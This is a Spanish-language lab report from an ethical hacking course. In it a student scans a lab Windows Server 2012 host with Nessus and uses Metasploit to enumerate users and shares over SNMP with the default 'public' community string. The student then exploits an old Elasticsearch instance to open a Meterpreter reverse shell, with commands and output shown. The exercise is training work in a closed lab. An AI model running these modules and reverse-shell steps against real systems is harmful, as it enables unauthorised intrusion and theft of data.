



Curso de Hacking ético Master. D

Ejercicio 8
HERRAMIENTAS DE
EXPLOTACIÓN

Alumno: Julián Gordon

Índice

Introducción	3
Uso de Nessus para detección de vulnerabilidades	4
Uso de Metasploit para vulnerabilidad SNMP.....	5
Explotando la vulnerabilidad Elasticsearch	10
Conclusiones	14

Introducción

En este ejercicio, haremos uso de distintas herramientas de explotación sobre nuestra máquina de Windows Server 2012. A lo largo del ejercicio, haremos diversos ataques manuales sobre nuestro objetivo. Ya en esta etapa explotamos las vulnerabilidades que venimos estudiando en ejercicios anteriores y nos haremos con información confidencial de nuestra máquina objetivo.

Uso de Nessus para detección de Vulnerabilidades

Empezaremos utilizando Nessus para hacer un análisis de vulnerabilidades sobre nuestro objetivo, que es la máquina de Windows Server 2012 de nuestro laboratorio. Luego con las vulnerabilidades encontradas, usaremos Metasploit para explotarlas.

The screenshot shows the Tenable Nessus Essentials interface. The main header includes the Tenable logo, 'Nessus Essentials', and navigation tabs for 'Scans' and 'Settings'. The user 'julian.g...' is logged in. The left sidebar contains 'FOLDERS' (My Scans, All Scans, Trash) and 'RESOURCES' (Policies, Plugin Rules, Terrascan). The main content area is titled 'Windows Server 2012 enigma' and shows a list of vulnerabilities. The 'Vulnerabilities' tab is active, displaying 81 vulnerabilities. The table columns are: Sev, CVSS, VPR, Name, Family, and Count. The first two vulnerabilities are marked as 'CRITICAL'. The right sidebar shows 'Scan Details' (Policy: Advanced Scan, Status: Aborted, Severity Base: CVSS v3.0, Scanner: Local Scanner, Start: January 3 at 9:49 AM, End: January 5 at 10:21 AM) and a 'Vulnerabilities' section with a pie chart showing the distribution of severity levels: Critical (red), High (orange), Medium (yellow), Low (green), and Info (blue).

Sev	CVSS	VPR	Name	Family	Count
CRITICAL	9.8	5.9	Elasticsearch Transport Protocol Unspecified Remote Code Execution	Databases	1
CRITICAL	9.8	7.4	Microsoft Message Queuing RCE (CVE-2023-21554, Queuejumper)	Windows	1
MIXED	Cloudbees Jenkins (Multiple Issues)	CGI abuses	54
MIXED	Wordpress (Multiple Issues)	CGI abuses	27
MIXED	Apache Tomcat (Multiple Issues)	Web Servers	17
MIXED	PHP (Multiple Issues)	CGI abuses	16
MIXED	Apache HTTP Server (Multiple Issues)	Web Servers	15
MIXED	Zohocorp Manageengine Desktop Central (Multiple Issues)	CGI abuses	15
MIXED	Apache Httpd (Multiple Issues)	Web Servers	7
MIXED	Elasticsearch (Multiple Issues)	CGI abuses	3
MIXED	Cloudbees Jenkins (Multiple Issues)	General	2

Windows Server 2012 enigma / Plugin #41028

[← Back to Vulnerability Group](#)

Hosts

1

Vulnerabilities

23

Notes

1

History

2

HIGH

SNMP Agent Default Community Name (public)

Description

It is possible to obtain the default community name of the remote SNMP server.

An attacker may use this information to gain more knowledge about the remote host, or to change the configuration of the remote system (if the default community allows such modifications).

Solution

Disable the SNMP service on the remote host if you do not use it.

Either filter incoming UDP packets going to this port, or change the default community string.

Output

```
The remote SNMP server replies to the following default community
string :
```

```
public
```

To see debug logs, please visit individual host

Port ▲

Hosts

161 / udp / snmp

10.0.2.5

Uso de Metasploit

Podemos observar en la imagen anterior que Nessus encontró una vulnerabilidad llamada “ SNMP Agent Default Community Name (public) ” . Esta vulnerabilidad se refiere a una debilidad en la configuración del servicio SNMP (Simple Network Management Protocol) en un sistema remoto. SNMP es un protocolo utilizado para gestionar y monitorear dispositivos en una red. Un agente SNMP en un dispositivo, responde a solicitudes de información (consultas) y puede aceptar comandos de configuración. La vulnerabilidad se centra en el nombre de la comunidad SNMP predeterminado, que es como una "contraseña" utilizada para autenticar solicitudes y comandos SNMP. En muchos sistemas, especialmente aquellos que no han sido configurados adecuadamente, el nombre de la comunidad predeterminado es "public". Este es un valor comúnmente conocido y utilizado por muchos dispositivos y sistemas SNMP por defecto.

A continuación veremos una imagen de como buscar y ejecutar exploits sobre esta vulnerabilidad.

```
msf6 > search snmp windows

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/http/hp_nnm_snmp         2009-12-09      great No     HP OpenView Network Node Manager Snmp.exe CGI Buffer Overflow
1  exploit/windows/http/hp_nnm_ovwebsnmprv_uro 2010-06-08      great No     HP OpenView Network Node Manager ovwebsnmprv.exe Unrecognized Option Buffer Overflow
2  exploit/windows/http/hp_nnm_ovwebsnmprv_main 2010-06-16      great No     HP OpenView Network Node Manager ovwebsnmprv.exe main Buffer Overflow
3  exploit/windows/http/hp_nnm_ovwebsnmprv_ovutil 2010-06-16      great No     HP OpenView Network Node Manager ovwebsnmprv.exe ovutil Buffer Overflow
4  exploit/windows/http/hp_nnm_snmpviewer_actapp 2010-05-11      great No     HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow
5  exploit/multi/http/hp_sys_mgmt_exec       2013-06-11      excellent Yes    HP System Management Homepage JustGetSNMPQueue Command Injection
6  exploit/windows/ftp/oracle9i_xdb_ftp_unlock 2003-08-18      great Yes    Oracle 9i XDB FTP UNLOCK Overflow (win32)
7  auxiliary/scanner/snmp/snmp_enumshares     normal No     SNMP Windows SMB Share Enumeration
8  auxiliary/scanner/snmp/snmp_enumusers     normal No     SNMP Windows Username Enumeration
9  exploit/windows/scada/sunway_force_control_netdbsrv 2011-09-22      great No     Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57
10 post/windows/gather/enum_snmp             normal No     Windows Gather SNMP Settings

Interact with a module by name or index. For example info 10, use 10 or use post/windows/gather/enum_snmp

msf6 > use auxiliary/scanner/snmp/snmp_enumusers
```

Buscamos snmp windows (ya que sabemos que nuestro objetivo es una máquina windows). Primero empezaremos con el módulo auxiliary que nos dará información que luego utilizaremos para explotarla.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > options
```

```
Module options (auxiliary/scanner/snmp/snmp_enumusers):
```

Name	Current Setting	Required	Description
COMMUNITY	public	yes	SNMP Community String
RETRIES	1	yes	SNMP Retries
RHOSTS	10.0.2.5	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	161	yes	The target port (UDP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	1	yes	SNMP Timeout
VERSION	1	yes	SNMP Version <1/2c>

```
View the full module info with the info, or info -d command.
```

Luego configuramos las opciones, en este caso solamente cambiaremos el Rhosts, ya que el puerto 161 ya viene como predeterminado y es el que corre este servicio.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > run
```

```
[+] 10.0.2.5:161 Found 13 users: Administrator, Guest, caras, gracioso, hiedra, krbtgt, perdicion, pinguino, ras, solomon, sombrerero, vagrant, zas
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Aquí podemos ver todos los usuarios que encontramos al ejecutar este módulo auxiliary.

Ejecutaremos a continuación el módulo ***snmp_enumshares*** que se utiliza para enumerar recursos compartidos en un sistema a través del protocolo SNMP, lo que nos puede ser útil para entender la estructura de archivos y carpetas en la máquina. Si hay recursos compartidos configurados de manera insegura, podríamos utilizarlos para acceder a datos sensibles, como la ejecución de comandos o la transferencia de archivos.

```
msf6 auxiliary(scanner/snmp/snmp_enumshares) > run
[+] 10.0.2.5
    SYSVOL - Logon server share (C:\Windows\SYSVOL\sysvol)
    NETLOGON - Logon server share (C:\Windows\SYSVOL\sysvol\SantaPrisca.virtual\SCRIPTS)
    Perdicion - (C:\Shares\Perdicion)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Elasticsearch Transport Protocol Unspecified Remote Code Execution

Ahora explotaremos otra vulnerabilidad que encontramos con Nessus. Elasticsearch es un motor de búsqueda y análisis distribuido, utilizado comúnmente para indexar y buscar grandes cantidades de datos en tiempo real. Utiliza un protocolo de transporte para la comunicación entre nodos en un clúster. El protocolo de transporte es responsable de la transferencia de datos entre los nodos de Elasticsearch. Nessus también nos dice que es posible la ejecución de código remoto por lo que intentaremos utilizar algún exploit que nos pueda dar acceso a la máquina. Una vez tenemos abierto metasploit buscaremos con search algún exploit que nos pueda servir.

En la siguiente imagen se puede observar este proceso.

```
msf6 > search elasticsearch
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/elasticsearch/script_mvel_rce	2013-12-09	excellent	Yes	ElasticSearch Dynamic Script Arbitrary Java Execution
1	exploit/multi/elasticsearch/search_groovy_script	2015-02-11	excellent	Yes	ElasticSearch Search Groovy Sandbox Bypass
2	auxiliary/scanner/http/elasticsearch_traversal		normal	Yes	ElasticSearch Snapshot API Directory Traversal
3	auxiliary/gather/elasticsearch_enum		normal	No	Elasticsearch Enumeration Utility
4	auxiliary/scanner/http/elasticsearch_memory_disclosure	2021-07-21	normal	Yes	Elasticsearch Memory Disclosure
5	exploit/multi/misc/xdh_x_exec	2015-12-04	excellent	Yes	Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution

Interact with a module by name or index. For example `info 5`, `use 5` or `use exploit/multi/misc/xdh_x_exec`

```
msf6 > use Interrupt: use the 'exit' command to quit
```

```
msf6 > use exploit/multi/elasticsearch/script_mvel_rce
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/elasticsearch/script_mvel_rce) > options
```

Module options (exploit/multi/elasticsearch/script_mvel_rce):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	9200	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The path to the ElasticSearch REST API
VHOST		no	HTTP server virtual host
WritableDir	/tmp	yes	A directory where we can write files (only for *nix environments)

Configuramos en options el Rhosts con el ip de nuestra máquina objetivo y lanzamos el exploit. El exploit fue exitoso y logramos crear una shell a traves de Meterpreter. Una vez dentro de nuestra máquina objetivo podemos ejecutar diversos comandos como “getuid” para saber información del usuario actual de la sesión, “upload” y “download” subir y bajar archivos desde nuestro sistema al de la máquina, “sysinfo” muestra información sobre el sistema operativo, la arquitectura del sistema y otra información del sistema objetivo. A continuación mostraremos algunas imágenes de este proceso.

```
msf6 exploit(multi/elasticsearch/script_mvel_rce) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Trying to execute arbitrary Java...
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2012'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[*] Sending stage (57692 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.5:63626) at 2024-01-18 06:03:00 -0500
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\dNLPL.jar' on the target
```

```
meterpreter > getuid
Server username: ENIGMA$
meterpreter > sysinfo
Computer       : enigma
OS             : Windows Server 2012 6.2 (amd64)
Architecture   : x64
System Language : en_US
Meterpreter    : java/windows
meterpreter > shell
Process 2 created.
Channel 2 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Program Files\elasticsearch-1.1.1>dir
dir
Volume in drive C has no label.
Volume Serial Number is 74FB-F2F5

Directory of C:\Program Files\elasticsearch-1.1.1

01/17/2024  12:56 PM    <DIR>          .
01/17/2024  12:56 PM    <DIR>          ..
04/16/2014  11:28 PM    <DIR>          bin
04/16/2014  11:28 PM    <DIR>          config
01/11/2019   06:56 PM    <DIR>          data
01/17/2024  12:56 PM    <DIR>          dsr
04/16/2014  11:28 PM    <DIR>          lib
02/12/2014   06:35 PM      11,358 LICENSE.txt
02/12/2014   06:35 PM      11,358 LICENSE_1.txt
01/18/2024  11:48 AM    <DIR>          logs
03/26/2014  12:38 AM       150 NOTICE.txt
03/26/2014  12:38 AM       150 NOTICE_1.txt
03/26/2014  12:38 AM     8,093 README.textile
```

Conclusiones

A través de la realización de este ejercicio, aprendimos a explotar algunas de las vulnerabilidades que aprendimos en ejercicios anteriores. Ahora ya no solo se trata de analizar las vulnerabilidades que encontremos, si no que empezamos a hacer uso de ellas y vulnerar las máquinas de nuestro laboratorio. Sea para obtener acceso total de la máquina ó para “robar” información que encontremos dentro de ellas. Con este ejercicio practicamos y avanzamos en nuestra labor de pentester.